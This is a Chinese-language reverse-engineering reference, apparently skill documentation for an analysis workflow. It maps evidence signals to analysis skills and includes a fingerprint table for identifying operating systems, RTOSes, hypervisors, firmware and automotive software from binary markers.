| 节表异常(UPX0/.aspack)、熵 >7.0 | `unpack` | [[re-packer-id]] → [[re-anti-analysis]] |
|
||||
| 未知加密算法、S-box/常量指纹、加密流量 | `crypto-identification` | [[re-crypto-id]] |
|
||||
| 硬编码密钥/口令、内存中的 key | `key-extraction` | [[re-crypto-keys]] |
|
||||
| 解密函数已定位、密文可还原 | `crypto-decryption` | [[re-crypto-decrypt]] |
|
||||
| 反调试/反 VM 特征(ptrace、CPUID、时间检测) | `evasion-analysis` | [[re-anti-analysis]] / [[re-evasion]] |
|
||||
| 动态注册 JNI、so 函数级加密 | `jni-analysis` | [[re-android-native]] |
|
||||
| 混淆(CFF/花指令/字符串加密) | `deobfuscation` | [[re-deobfuscate]] |
|
||||
| 网络回连/信标/C2 特征 | `network-capture` | [[re-netcap]] → [[re-behavior]] |
|
||||
| 持久化/注入/进程树异常 | `malware-behavior` | [[re-behavior]] |
|
||||
| 崩溃/段错误/ASAN 报告 | `debugging` | [[re-crash-triage]] |
|
||||
| Python 打包特征(PyInstaller/PyArmor) | `bytecode-parser` | [[re-python]] |
|
||||
| 加固商特征(Android 加固壳) | `unpack` | [[re-mobile-pack]] |
|
||||
| RTTI/异常表(.pdata/.xdata)密集 | `decompilation` | [[re-cpp-abi]] |
|
||||
| PDF/Office 宏/钓鱼文档特征 | `document-malware` | [[re-doc-malware]] |
|
||||
| 补丁/N-day 对比需求(修复前后/变体) | `binary-diffing` | [[re-variant]] |
|
||||
| 文件尾附加/图片异常(隐写怀疑) | `stego-detection` | [[re-stego]] |
|
||||
| 白盒加密特征(大查表 + 编码网络) | `crypto-identification` | [[re-whitebox]] |
|
||||
| 内核驱动/rootkit 结构 | `kernel-analysis` | [[re-kernel]] |
|
||||
| 内存区被改成可执行(W→X / RWX)、无背书区域在执行 | `sample-acquisition` | [[re-sample-acquire]] |
|
||||
| 服务端动态注册的组件无对应类文件(内存马特征) | `sample-acquisition` | [[re-sample-acquire]] → [[re-java]] |
|
||||
| 整机内存镜像(LiME/崩溃转储) | `memory-forensics` | [[re-mem-forensics]] |
|
||||
| 磁盘镜像/未分配空间/分区表异常 | `disk-forensics` | [[re-disk-forensics]] |
|
||||
| 越狱检测/tweak(dylib 注入)特征 | `jailbreak-analysis` | [[re-ios-jb]] |
|
||||
| Flutter/RN 引擎特征 | `hybrid-app-analysis` | [[re-hybrid-app]] / [[re-flutter]] |
|
||||
| Go buildinfo/pclntab 特征 | `lang-runtime-analysis` | [[re-go]] |
|
||||
| Rust/Swift/Zig/Nim 产物特征 | `lang-runtime-analysis` | [[re-rust]] / [[re-swift]] / [[re-zig]] / [[re-nim]] |
|
||||
| MMIO 外设区 + Thumb 特征(嵌入式裸机固件) | `arch-analysis` | [[re-arm]] |
|
||||
| RISC-V 压缩指令/MIPS 延迟槽特征 | `arch-analysis` | [[re-riscv]] / [[re-mips]] |
|
||||
| VT-x/SVM 指令(VMXON/VMREAD)或 VMCS 结构 | `hypervisor-analysis` | [[re-hypervisor]] |
|
||||
| BPF ELF section(.maps/.BTF/.rel*,kprobe/tracepoint 命名节) | `ebpf-analysis` | [[re-ebpf]] |
|
||||
| VxWorks/QNX 特征串(任务表符号/内核对象命名) | `rtos-analysis` | [[re-rtos]] |
|
||||
| 进程注册了 pathname 并循环收消息、无内核模块却控制硬件 | `rtos-analysis` | [[re-rtos]](QNX 资源管理器模型) |
|
||||
| 驱动既不是独立进程也不是内核模块(在网络栈进程内加载) | `rtos-analysis` | [[re-rtos]] → [[re-rtos/qnx]] |
|
||||
| init/设备对象没有直接 xref、一段规则排列的结构体(链接期注册) | `rtos-analysis` | [[re-rtos/zephyr]] |
|
||||
| 独立模块大量 unresolved symbols、同版本系统之间行为不一致 | `rtos-analysis` | [[re-rtos/vxworks]] |
|
||||
| dlopen 语义不像 Unix 共享库、设备分派看不到 file_operations | `rtos-analysis` | [[re-rtos/rtems]] |
|
||||
| 跨阶段数据结构找不到 producer、runtime 地址与固件地址对不上 | `uefi-analysis` | [[re-uefi/pi-stages]] |
|
||||
| handle 数值跨进程比对无效、传送后原值失效、同驻驱动有 IPC 无系统调用 | `kernel-analysis` | [[re-kernel/zircon-kernel]] |
|
||||
| init 函数没有调用者、一段指针数组所在 section 名为 set_* | `kernel-analysis` | [[re-kernel/freebsd-kernel]] |
|
||||
| 驱动入口为 _init/_fini/_info + modlinkage/dev_ops/cb_ops 骨架 | `kernel-analysis` | [[re-kernel/illumos-kernel]] |
|
||||
| 同版本内核每次启动布局都不同、两份二进制逐字节不一致 | `kernel-analysis` | [[re-kernel/openbsd-kernel]] |
|
||||
| 模块自己出现/消失却没有加载者、模块加载失败但文件正常 | `kernel-analysis` | [[re-kernel/netbsd-kernel]] |
|
||||
| 服务名相同却像连到不同对象、capability 数值被当全局 ID、配额与系统剩余内存矛盾 | `kernel-analysis` | [[re-kernel/genode]] |
|
||||
| 驱动进程消失又出现、IPC 里的整数疑似 grant、更新期出现两个相同实例 | `kernel-analysis` | [[re-kernel/minix3]] |
|
||||
| 同名路径访问到不同对象、目录内容像多层叠加、出现不依赖内核模块的新文件系统 | `kernel-analysis` | [[re-kernel/plan9]] |
|
||||
| PV 设备找不到寄存器窗口、grant ref/event-channel port 被当地址与 IRQ | `hypervisor-analysis` | [[re-hypervisor/xen]] |
|
||||
| guest 的 MMIO/BAR 与真实硬件对不上、跨 VM 共享区通不了、越权访问后程序突然停住 | `hypervisor-analysis` | [[re-hypervisor/qnx-hypervisor]] / [[re-hypervisor/jailhouse]] / [[re-hypervisor/acrn]] / [[re-hypervisor/bao]] |
|
||||
| 同一 API 在不同样本里形态完全不同(极短函数 + 立即 trap)、地址权限时有时无 | `rtos-analysis` | [[re-rtos/nuttx]] |
|
||||
| ISR 里混用 task 版 API、访问权限随运行阶段变化(MPU) | `rtos-analysis` | [[re-rtos/freertos-context]] |
|
||||
| 大量「填 request ID → 跳公共 dispatcher」、代码地址落在模块内存区之外 | `rtos-analysis` | [[re-rtos/threadx-modules]] |
|
||||
| ISR 只清状态位就返回、没有线程入口却被反复调用的函数 | `rtos-analysis` | [[re-rtos/ecos]] |
|
||||
| 高优先级线程不运行且无竞争、采样/队列语义混淆、固定地址的 APEX 服务表 | `rtos-analysis` | [[re-rtos/partitioned-rtos]] |
|
||||
| 无 caller 的 runnable、隐式访问读到旧值、服务返回 E_OS_ACCESS | `automotive-analysis` | [[re-automotive/autosar-classic]] |
|
||||
| 二进制已安装但进程不存在、进程清单与模型清单对不上 | `automotive-analysis` | [[re-automotive/autosar-adaptive]] |
|
||||
| 一个 OS thread 内出现大量"线程切换"(内核调度对不上) | `kernel-analysis` | [[re-kernel/helenos]] |
|
||||
| read/write 落到的东西不是文件系统、两侧句柄对不上 | `kernel-analysis` | [[re-kernel/redox]] |
|
||||
| 驱动启动时不在、访问某设备后才出现 | `kernel-analysis` | [[re-kernel/haiku]] |
|
||||
| 执行地址属于另一个地址空间、无调用者的例程却有行为 | `kernel-analysis` | [[re-kernel/zos]] / [[re-kernel/openvms]] |
|
||||
| 对象地址不像 DRAM 指针、存储抽象与 POSIX 不符 | `kernel-analysis` | [[re-kernel/ibmi]] |
|
||||
| 找不到 user→syscall→kernel 边界、syscall 没有特权切换 | `kernel-analysis` | [[re-kernel/unikraft-mirageos]] |
|
||||
| 中断尾部发生切换、task 就绪不切换、ISR 里调用未立即生效 | `rtos-analysis` | [[re-rtos/ucos-sysbios]] / [[re-rtos/safertos-rtx5]] |
|
||||
| 同一地址在不同 task 下可访问性不同、句柄不像指针 | `rtos-analysis` | [[re-rtos/safertos-rtx5]] |
|
||||
| 服务调用在任务里合法、在中断里被拒 | `rtos-analysis` | [[re-rtos/tkernel-toppers]] |
|
||||
| 消息/信号的对端找不到(疑似跨节点) | `rtos-analysis` | [[re-rtos/ose-oseck]] |
|
||||
| 小整数句柄被当地址、网络流量中途消失但功能正常 | `hypervisor-analysis` | [[re-hypervisor/hyperv-vmbus]] |
|
||||
| 找不到资源分配的重配置代码、计划切换不立即生效 | `hypervisor-analysis` | [[re-hypervisor/xtratum]] |
|
||||
| VM-exit 很少却没有隔离缺失、跨域时间戳对不上 | `hypervisor-analysis` | [[re-hypervisor/questv]] |
|
||||
| 找不到动态重配置/管理入口、内核里没有驱动与 I/O 栈 | `hypervisor-analysis` | [[re-hypervisor/lynxsecure]] |
|
||||
| 二进制在但进程不存在、服务发现空结果、无 crash 却重启、更新后数据保留或消失 | `automotive-analysis` | [[re-automotive/autosar-adaptive]] |
|
||||
| 线性地址下仍有隔离、同一地址权限随任务变、"partition" 一词含义不明 | `rtos-analysis` | [[re-rtos/nucleus]] |
|
||||
| 软件定时器回调里出现阻塞等待、任务被唤醒却没有资源 | `rtos-analysis` | [[re-rtos/ucos-sysbios]] |
|
||||
| 小整数句柄被当地址、删除句柄时阻塞、回调返回但资源未释放 | `hypervisor-analysis` | [[re-hypervisor/hyperv-vmbus]] |
|
||||
| ring 前进却没有通知、event unmask 行为异常、迁移后端口与 domid 变化 | `hypervisor-analysis` | [[re-hypervisor/xen]] |
|
||||
| 同一源码在不同构建下 I/O 完全不同、全部任务一起卡死 | `kernel-analysis` | [[re-kernel/unikraft-mirageos]] |
|
||||
| 模块带自描述元数据(UUID/端点/资源/依赖/签名)、IPC 呈入口页+位图+失败分支形态 | `kernel-analysis` | [[re-kernel/hic]] |
|
||||
| 程序属性导致栈行为相反(栈方向/栈指针偏置)、AMODE/RMODE 不匹配、dump 里控制块对不上 | `kernel-analysis` | [[re-kernel/zos]] |
|
||||
| 对象/指针分两套(系统指针 vs 空间指针)、静态数据归属不清、产物压缩态 | `kernel-analysis` | [[re-kernel/ibmi]] |
|
||||
| 异常走"处理器链"而非抛出-捕获、共享镜像与预期不符 | `kernel-analysis` | [[re-kernel/openvms]] |
|
||||
| 信号号不唯一需次级 id、缓冲区落在别的池、跨 DSP 行为不一致 | `rtos-analysis` | [[re-rtos/ose-oseck]] |
|
||||
| 同一源码不同配置产物差异极大、异常去向不固定、构造函数被覆盖 | `rtos-analysis` | [[re-rtos/ecos]] |
|
||||
| .NSO/.NPDM 容器结构(Switch 加密分区) | `console-analysis` | [[re-console]] |
|
||||
| asar 结构(resources/app.asar + 内部 files 树) | `electron-analysis` | [[re-electron]] |
|
||||
| CAP 内 Header 组件魔数(DE CA FF ED,文件整体为 ZIP,Java Card 12 组件) | `bytecode-parser` | [[re-javacard]] |
|
||||
| HarmonyOS hap/hsp 包结构、ArkTS .abc 字节码 | `bytecode-parser` | [[re-harmonyos]] |
|
||||
|
||||
## B 表:卡住信号 → 换路
|
||||
|
||||
| 卡住信号 | 换路 |
|
||||
|---|---|
|
||||
| 同参数重复 ≥2 次无新证据 | 对照 A 表重查 / 换工具视角([[analysis-contract]] 调查预算) |
|
||||
| 单命令 ≥3 次无进展 | 停下评估,重跑 re-analyze 第二步(任务识别)或换网关 |
|
||||
| 分析跨目标累计超 30 次工具调用无结论 | 回退到最近有产出的环节,按 [[analysis-contract]] 复核格式交付部分结论 |
|
||||
| 目标行为与静态结论矛盾 | 动态侧 [[re-sandbox]] / [[re-tracing]] 对照 |
|
||||
| A 表命中的技能不适用(如目标形态不符) | 查 `capability-index.md` 同一能力下的其他技能(能力相同、形态不同) |
|
||||
|
||||
## 使用规则
|
||||
|
||||
1. 每产出新证据类型 → 查 A 表,命中即调用对应技能,完成后回到轨 1 继续
|
||||
2. 每网关完成 → 查 A+B 表
|
||||
3. 未命中任何表项 → 按 B 表约束行动(换思路/回退/交付部分结论)
|
||||
4. 新增 A 表行时:先定「需要能力」(注册表标签),再用 `capability-index.md` 反查技能填入——**不要只写领域名技能**(`npm test` 会校验能力与技能声明是否对得上)
|
||||
@@ -0,0 +1,253 @@
|
||||
# 系统识别指纹表
|
||||
|
||||
**用途**:从证据判断**目标属于哪个系统**。[[cross-system-models]] 解决"看到异常先怀疑什么",本文件解决它前面的一步——**"我在看的是什么东西"**。
|
||||
|
||||
**判据来源**:本文件不引入新断言,判据全部取自本库已核验的技能分支(各分支文末的"工具与验证"节)。
|
||||
|
||||
## 判据的两维标注(重要)
|
||||
|
||||
**一条判据有"多独特"和"多容易看见"两个互相独立的属性**,混为一谈会直接把结论带偏:
|
||||
|
||||
| 维度 | 取值 | 含义 |
|
||||
|---|---|---|
|
||||
| **特异度** | `独有` | 只有该系统有 |
|
||||
| | `高` | 少数系统共有,需配合排除 |
|
||||
| | `弱` | 只能收窄到家族 |
|
||||
| **可观测性** | `稳定` | 剥离符号后通常仍可见(结构内魔数、容器魔数、必需导出名) |
|
||||
| | `视构建` | 取决于是否 strip / 是否保留字符串 / 配置是否随产物 |
|
||||
| | `仅运行期` | 只能从运行中的系统、流量或运行时接口获得 |
|
||||
|
||||
**标注形如 `独有·稳定`。** 典型误用:把 `独有·视构建` 的判据(如模块名后缀)当成"一定能看到",于是对一个 strip 过的产物得出"不是该系统"的错误结论——**看不见不等于不存在**。
|
||||
|
||||
## ⓪ 先定证据归属(evidence_scope)
|
||||
|
||||
**同一个字符串,归属不同的对象,指向完全不同的结论。**
|
||||
|
||||
| scope | 含义 | 典型来源 |
|
||||
|---|---|---|
|
||||
| `container` | 容器本身 | 固件封装、磁盘镜像、升级包 |
|
||||
| `executable` | 当前正在分析的执行体 | 主二进制 |
|
||||
| `embedded payload` | 容器内的嵌入载荷(**可能属于另一种系统**) | 固件里嵌的 rootfs、MCU blob |
|
||||
| `guest` | 虚拟化/分区下的客体 | VM 镜像、分区镜像 |
|
||||
| `dependency` | 被链接或依赖的组件 | 静态库、第三方 `.a`、sysroot |
|
||||
| `toolchain artifact` | 工具链产物(不是运行时主体) | 编译器 sysroot、示例配置、调试符号 |
|
||||
| `documentation` | 文档/注释/示例 | README、示例配置 |
|
||||
|
||||
**规则:先判"这条证据属于谁",再判"它是哪个系统"。**
|
||||
|
||||
固件里同时存在 Linux rootfs、一个 MCU blob、一个 guest 镜像与编译期 sysroot 时,找到 `procnto`、ARXML、`seL4_*`、FreeRTOS 特征串中的**任何一个**,都**不能**回答"当前正在逆向的主体是什么系统"——**证据为真、归属错误**,是这类目标上最常见的翻车方式。
|
||||
|
||||
**做法**:
|
||||
|
||||
```
|
||||
1. 列出容器内全部可辨认对象,逐个标 scope
|
||||
2. 确定分析主体(用户的目标)属于哪个 scope
|
||||
3. 只在【同 scope 内】做指纹比对
|
||||
4. 跨 scope 的命中只记为"存在性",不作为主体身份依据
|
||||
```
|
||||
|
||||
**指纹表越丰富,这条越重要**:判据多了以后,跨 scope 的假命中会同步变多。
|
||||
|
||||
## 一、四层流程
|
||||
|
||||
```
|
||||
① 载体与格式:我拿到的是什么(模块 / 镜像 / 配置 / 转储 / 流量)
|
||||
② 超家族收敛:几条问题把它归到某一族
|
||||
③ 家族内指认:按该族的表逐行排除
|
||||
④ 易混淆对与负判据:命中易混对时按专项判据;用"看到 X 就不是 Y"收尾
|
||||
```
|
||||
|
||||
**顺序不能颠倒**:先定 scope、再定格式、再定家族、最后定系统。跳过前几层直接猜系统,会得到一连串"似曾相识但都对不上"的结论。
|
||||
|
||||
## 二、超家族:载体与格式
|
||||
|
||||
| 载体 | 结论或下一步 |
|
||||
|---|---|
|
||||
| ELF 且类型为 **ET_REL** | **[弱·稳定]** 仅说明"这是**可重定位 ELF**"(内核模块常用此形态,但不止内核模块)→ 需再命中 `.modinfo` / `__this_module` / `vermagic` 一类符号,才升到"Linux 可加载内核模块" |
|
||||
| ELF 可执行,`EI_OSABI` 非 0/3 | 按 §六 的 OSABI 表定系统 |
|
||||
| ELF,带 `.note.openbsd.ident` / `.note.netbsd.ident` / `.note.tag`(FreeBSD) | **[独有·稳定]** 对应 BSD → §3.1 |
|
||||
| PE32/PE32+,subsystem = EFI 相关 | UEFI 模块 → §3.6;否则 §3.1 Windows |
|
||||
| PE,`.sys` 扩展、导出 `DriverEntry`/`GsDriverEntry` | Windows 驱动模型 → §3.1 |
|
||||
| Mach-O(KEXT bundle / `.dext`) | macOS 家族 → §3.1 |
|
||||
| 无标准容器,含 `0x00ff7eeb` + `"imagefs"` | **[独有·稳定]** QNX IFS 镜像 → §3.2 |
|
||||
| 固件结构(FV → FFS → section) | UEFI/PI → §3.6 |
|
||||
| XML 配置 + 分区/major frame 词汇 | 分区 hypervisor 或分区 RTOS → §3.4/§3.5 |
|
||||
| C 源文件形式的配置(含 `struct config` 一类) | 静态分区 hypervisor → §3.5 |
|
||||
| ARXML | AUTOSAR → §3.8 |
|
||||
| 大量 EBCDIC 文本、记录式数据集 | 大型机 → §3.7 |
|
||||
| 单一镜像,内含初始化表段与成套 `uk_*` 符号 | Unikraft → §3.9 |
|
||||
| OCaml 源码 / Lwt 调用 | MirageOS → §3.9 |
|
||||
|
||||
## 三、家族内指认
|
||||
|
||||
### 3.1 UNIX / Windows 系内核与驱动
|
||||
|
||||
| 系统 | 载体与结构 | 判据 |
|
||||
|---|---|---|
|
||||
| **Linux** | `.ko` = ET_REL;可能带签名尾、livepatch 节、BTF/split BTF | `.modinfo` / `__this_module` / `vermagic` **[独有·稳定]**;`module_init` **[独有·视构建]** |
|
||||
| **Android** | 同为 ELF 模块,受 KMI 约束 | ACK 分支串、KMI symbol list、protected symbol **[高·视构建]** |
|
||||
| **FreeBSD** | `.ko`(KLD,ELF);**linker set 注册** | `set_sysinit_set` / `__start_set_*` **[独有·视构建]**(strip 后不可见) |
|
||||
| **NetBSD** | `.kmod` | `module_autoload` / `MODCTL_*` **[独有·视构建]** |
|
||||
| **OpenBSD** | 内核每次 boot 被**重新随机链接**(KARL) | 用户态 `.note.openbsd.ident` **[独有·稳定]**;link kit / rc 重链接脚本 **[高·视构建]** |
|
||||
| **illumos / Solaris** | `.so` 内核模块(DDI/DKI) | `_init`/`_fini`/`_info` + `modlinkage`/`modldrv`/`dev_ops`/`cb_ops` **[独有·稳定]**(必需导出);`nulldev` 与 `nodev` 并存 **[独有·视构建]** |
|
||||
| **macOS** | KEXT(Mach-O,AuxKC 内)/ DEXT(用户态) | `IOKitPersonalities` **[高·视构建]**、`__TEXT_EXEC` 段 **[独有·稳定]**、`Info.plist` **[独有·稳定]**(就绪于 bundle) |
|
||||
| **Windows** | `.sys`(PE) | **先分驱动模型**:WDM(`DriverEntry` + `MajorFunction[]` **[独有·稳定]**)、KMDF(指向 `Wdf01000.sys` **[独有·视构建]**)、minifilter(`FltRegisterFilter` **[独有·视构建]**)、NDIS(`Miniport*`/`Ndis*` **[独有·视构建]**) |
|
||||
|
||||
### 3.2 capability / 用户态驱动型内核
|
||||
|
||||
| 系统 | 判据 | 结构线索 |
|
||||
|---|---|---|
|
||||
| **seL4** | `seL4_*` / `seL4_Call` **[独有·视构建]** | **capDL `.cdl`** 与 CAmkES ADL 价值高于符号表 |
|
||||
| **Fuchsia / Zircon** | `zx_*` / `fidl_*` **[独有·视构建]** | 组件清单、bind rules 字节码、driver host 划分 |
|
||||
| **Genode** | `session` / `ROM` / `IO_MEM` / `IO_PORT` / `IRQ` 服务名 **[高·视构建]** | init XML(`<route>` / `<start>`)**[独有·稳定]**(配置就在身边时) |
|
||||
| **HelenOS** | `driver_ops_t` / `devman_driver_register` / `ddf_fun_*` **[独有·视构建]** | fibril(用户态协作调度)**仅运行期** |
|
||||
| **Redox** | `:SCHEME_NAME` / SQE-CQE / `relibc` / `redox-rt` **[独有·视构建]** | initfs 与驱动目录 **[高·稳定]** |
|
||||
| **Haiku** | 模块名以 `driver_v1` / `device_v1` 结尾 **[独有·视构建]**(**符号被剥离后未必可见**) | device_node 树、KDL |
|
||||
| **MINIX 3** | 服务 label + endpoint、RS/SEF **[高·仅运行期]** | 用户态服务与 `REQ_*` 消息 |
|
||||
| **Plan 9 / 9front** | 9P 消息(`Tversion`/`Tattach`/`Twalk`)**[独有·仅运行期]** | `/srv`、fid、每进程命名空间 |
|
||||
| **HIC** | **自描述模块元数据**(UUID/版本/端点/资源/依赖/签名)**[独有·稳定]**;**入口页 IPC 形态** **[独有·仅运行期]** | 同特权级 + MMU 隔离;capability 记账有代际差异 |
|
||||
| **QNX Neutrino** | `procnto` / `"imagefs"` / IFS 魔数 `0x00ff7eeb` **[独有·稳定]** | `io-*` / `devb-*` / `devc-*` **[高·视构建]**;`devnp-*.so` **[独有·视构建]** |
|
||||
|
||||
### 3.3 RTOS
|
||||
|
||||
| 系统 | 判据 | 结构线索 |
|
||||
|---|---|---|
|
||||
| **FreeRTOS** | `"FreeRTOS"` 串、`pxCurrentTCB`、`pxReadyTasksLists` **[独有·视构建]** | `pcTaskName`、栈填充 `0xa5` **[高·视构建]** |
|
||||
| **ThreadX** | `tx_kernel_enter`、`_tx_thread_created_list` **[独有·视构建]** | **对象头魔数**(THRD `0x54485244`、QUEU、SEMA、MUTE、ATIM…)**[独有·稳定]** |
|
||||
| **ThreadX Modules** | `txm_*`、`_txm_module_kernel_call_dispatcher` **[独有·视构建]** | **module preamble 必在模块第一个地址** **[独有·稳定]** |
|
||||
| **RT-Thread** | `rt_thread_ready_priority_group`、`rt_thread_priority_table` **[独有·视构建]** | `rt_system_scheduler_start` |
|
||||
| **Zephyr** | `DEVICE_DT_DEFINE` / `SYS_INIT` **[独有·视构建]** | devicetree + Kconfig **[高·视构建]**;iterable section **[独有·视构建]**;map 里的 `__init_PRE_KERNEL*` 段 |
|
||||
| **NuttX** | `syscall.csv` / `drivers_early_initialize` **[独有·视构建]** | FLAT/PROTECTED/KERNEL 三种构建 **[高·仅运行期]**;upper/lower half **[独有·视构建]** |
|
||||
| **VxWorks** | `tIdle` / `tRootTask` **[独有·视构建]** | `WIND_TCB` / `td_*` **[独有·视构建]**;`.out`(DKM)/ `.vxe`(RTP)**[独有·稳定]**;VSB/VIP **[独有·稳定]** |
|
||||
| **RTEMS** | `CONFIGURE_INIT` / `Device_drivers` **[高·视构建]** | `confdefs.h` 构建期配置、`rtems_driver_address_table` **[独有·视构建]** |
|
||||
| **eCos** | `CYG_*`、`cyg_hal_invoke_constructors`、`hal_vsr_table`、`CYG_ISR_CALL_DSR` **[独有·视构建]** | CDL、`mlt_*.ldi`、RedBoot、虚拟向量表 **[独有·视构建]** |
|
||||
| **µC/OS(Micrium)** | `OSIntEnter` / `OSIntExit` / `OSSchedLock` **[独有·视构建]** | `OS_TCB`、`OS_TmrTask` |
|
||||
| **TI SYS/BIOS** | `ti.sysbios.knl.*`、`Swi_*` / `Hwi_*` / `Task_*` **[独有·视构建]** | Hwi > Swi > Task 分层 **仅运行期** |
|
||||
| **SAFERTOS** | `xMPUSetTaskRegions` 一类 **[高·视构建]**;与 FreeRTOS **同源但非同一份二进制** | ESM 的 ACP / OACP / 间接对象 ID **[独有·视构建]** |
|
||||
| **CMSIS-RTX5** | `osRtxError*` / `RTX_Config.h` / `OS_SAFETY_FEATURES` **[独有·视构建]** | `osThreadZone` / 安全等级 / 线程看门狗 **[独有·视构建]** |
|
||||
| **T-Kernel** | `tk_def_dev` / `tk_rea_dev` / `tk_wai_dev` **[独有·视构建]** | 三种执行上下文 **仅运行期** |
|
||||
| **TOPPERS** | `act_tsk` / `sta_cyc` **[高·视构建]** | **先判家族**(ASP3 / HRP3 / FMP3 / HRMP3)**[高·视构建]** |
|
||||
| **OSE / OSEck** | `hunt` / `attach` / `send` / `receive` / `SIGSELECT` **[独有·视构建]** | 信号队列附属于进程 **仅运行期** |
|
||||
| **Nucleus** | `NU_Create_*` / `NU_Allocate_Partition` **[独有·视构建]** | `NU_PARTITION_POOL`(**别与空间隔离域混**) |
|
||||
|
||||
### 3.4 分区 / 安全 RTOS
|
||||
|
||||
| 系统 | 判据 | 结构线索 |
|
||||
|---|---|---|
|
||||
| **INTEGRITY / INTEGRITY-178** | ARINC 653 APEX 服务名 **[高·视构建]** | 空间/时间/资源三域;静态启动表 **[独有·视构建]** |
|
||||
| **PikeOS** | **链接在固定地址的 APEX 服务表** **[独有·稳定]** | 三层:分区调度器 → system thread → guest 调度器 **仅运行期** |
|
||||
| **ARINC 653 / VxWorks 653** | `major frame` / `partition window` / `SET_PARTITION_MODE` **[独有·视构建]** | 分区模式、采样端口 vs 队列端口 **仅运行期** |
|
||||
| **Deos** | 三类调度模型并存(ARINC 653 + RMS + POSIX)**[独有·视构建]** | 跨核对齐时间窗 + 每核 scheduler、slack、SafeMC **[独有·视构建]** |
|
||||
|
||||
### 3.5 Hypervisor
|
||||
|
||||
**宿主侧厂商串**(CPUID 叶 0x40000000):`KVMKVMKVM`、`Microsoft Hv`、`VMwareVMware`、`XenVMMXenVMM` —— **[独有·仅运行期]**。
|
||||
|
||||
| 系统 | 判据 | 结构线索 |
|
||||
|---|---|---|
|
||||
| **Xen** | XenStore 路径、`backend-id`、`ring-ref`/`event-channel` 键 **[独有·仅运行期]**;`/dev/xen/evtchn` **[独有·稳定]** | grant table / shared ring / event channel;`shared_info` 位掩码 |
|
||||
| **Hyper-V / VMBus** | VMBus 总线、`netvsc` / `storvsc` **[独有·仅运行期]** | VSC/VSP、GPADL、SR-IOV 数据面切换 |
|
||||
| **ACRN** | `IVSHMEM_ENABLED` / `IVSHMEM_REGION` / `acrn-dm`;`dm:/` 与 `hv:/` 前缀 **[独有·视构建]** | Service VM / pre-launched / post-launched 三层 |
|
||||
| **Jailhouse** | `.cell` 配置 **[独有·稳定]**;控制台串 `Parking CPU n (Cell: ...)` **[独有·仅运行期]** | cell 描述符(内存区标志、PCI/IRQ 归属) |
|
||||
| **Bao** | C 源配置 `struct config` / `shmemlist` / `vmlist` / `shmem_id` **[独有·视构建]** | CPU/内存/中断独占;vCPU 与 pCPU 1:1 |
|
||||
| **XtratuM** | XM_CF XML(`<Partition>` / `<CyclicPlanTable>` / `<PortTable>`)**[独有·视构建]** | Plan 0 初始化 / Plan 1 维护;IPVI |
|
||||
| **QNX Hypervisor** | shmem **工厂页**字段(`name`/`size`/`shmem`/`vector`/`status`)**[独有·视构建]** | 三层地址;vdev |
|
||||
| **LynxSecure** | 判据薄:**内核里没有驱动与 I/O 栈**、无管理控制台入口 **[独有·仅运行期]** | 不可变 boot 分区;内核功能仅限三项职责 |
|
||||
| **Quest-V** | 判据薄:**每 sandbox 一个 monitor**、VM-exit 极少、无全局时钟 **[独有·仅运行期]** | monitor 只在引导/故障/影子页表/建通道时介入 |
|
||||
|
||||
> **判据薄的两个系统**(LynxSecure / Quest-V)不以字符串定案——定案方式是**结构与行为**(见各自分支)。
|
||||
|
||||
### 3.6 固件与引导
|
||||
|
||||
| 系统 | 判据 | 结构线索 |
|
||||
|---|---|---|
|
||||
| **UEFI / PI** | PE32/PE32+ 且 subsystem 为 EFI 类;GUID 密集 **[独有·稳定]** | **FV → FFS file → section → PE32/TE**;HOB;`MODULE_TYPE`;PPI(PEI)vs Protocol(DXE)vs Runtime Services |
|
||||
|
||||
### 3.7 主机 / 大型机
|
||||
|
||||
| 系统 | 判据 | 结构线索 |
|
||||
|---|---|---|
|
||||
| **z/OS** | EBCDIC 文本 + 记录式数据集 + JCL **[高·稳定]** | load module / program object;TCB/SRB;AMODE/RMODE;XPLINK 与否 |
|
||||
| **IBM i** | `库/对象` 限定名、`*PGM` / `*SRVPGM` / `*MODULE` 对象类型 **[高·仅运行期]** | 单一存储层;MI/TIMI/SLIC 层次;activation group |
|
||||
| **OpenVMS** | **`ELFOSABI_OPENVMS` = 13** **[独有·稳定]**;DCL 命令文件 **[高·稳定]** | `.EXE` 镜像、`SYS$SHARE:`、逻辑名、AST / `$QIO`、RMS、描述符调用标准 |
|
||||
|
||||
### 3.8 车载软件
|
||||
|
||||
| 系统 | 判据 | 结构线索 |
|
||||
|---|---|---|
|
||||
| **AUTOSAR Classic** | ARXML + `Rte_*` 接口 **[独有·稳定]** | Runnable / RTEEvent / OS Task 映射;`E_OS_ACCESS`;BSW |
|
||||
| **AUTOSAR Adaptive** | 三类 Manifest(Execution / Service Instance / Machine)**[独有·稳定]** | `ara::com`、Function Group State / Machine State、`Checkpoint`(PHM)、UCM 与 Persistency |
|
||||
|
||||
### 3.9 unikernel
|
||||
|
||||
| 系统 | 判据 | 结构线索 |
|
||||
|---|---|---|
|
||||
| **Unikraft** | `uk_*` 符号 + `uk_syscall_e_*` / `uk_syscall_r_*` 成对出现 **[独有·视构建]** | 初始化表段(构造/早期/平台/库/rootfs/系统/晚期);Kconfig |
|
||||
| **MirageOS** | OCaml 源码 + Lwt 调用 **[独有·稳定]** | 单一静态 ELF;设备接线来自构建期配置 |
|
||||
|
||||
## 四、易混淆对
|
||||
|
||||
| 容易混 | 分开的判据 |
|
||||
|---|---|
|
||||
| FreeRTOS / ThreadX / µC/OS / RT-Thread | 看对象头**魔数**(ThreadX 独有,且 strip 不掉)→ 再看唯一符号 |
|
||||
| Zephyr / NuttX | 都有 Kconfig 风格构建;**Zephyr 有 devicetree + iterable section**;**NuttX 有 `syscall.csv` + upper/lower half** |
|
||||
| VxWorks / QNX | `.out`/`.vxe` + `tIdle` vs **IFS 魔数 + `procnto` + `devnp-*.so`** |
|
||||
| FreeBSD / NetBSD / OpenBSD | **linker set `set_*`** vs **`.kmod` + autoload** vs **KARL 重链接 + `.note.openbsd.ident`** |
|
||||
| illumos / Linux | illumos 有 `_init`/`modlinkage`/`dev_ops`;**没有** `module_init`/`file_operations`;`nulldev` 与 `nodev` 是两个占位 |
|
||||
| seL4 / Fuchsia / Genode | `seL4_*` + capDL vs `zx_*` + bind rules vs `session` + init XML |
|
||||
| Jailhouse / Bao / XtratuM | `.cell` vs **C 源 `struct config`** vs **XM_CF XML** |
|
||||
| ACRN / Xen | ACRN 有 Service VM 三层与 `dm:/` `hv:/` 前缀;Xen 走 XenStore 路径 + grant/event |
|
||||
| QNX Neutrino / QNX Hypervisor | 前者是 resource manager 生态;后者有 `qvm` 配置与 shmem **工厂页** |
|
||||
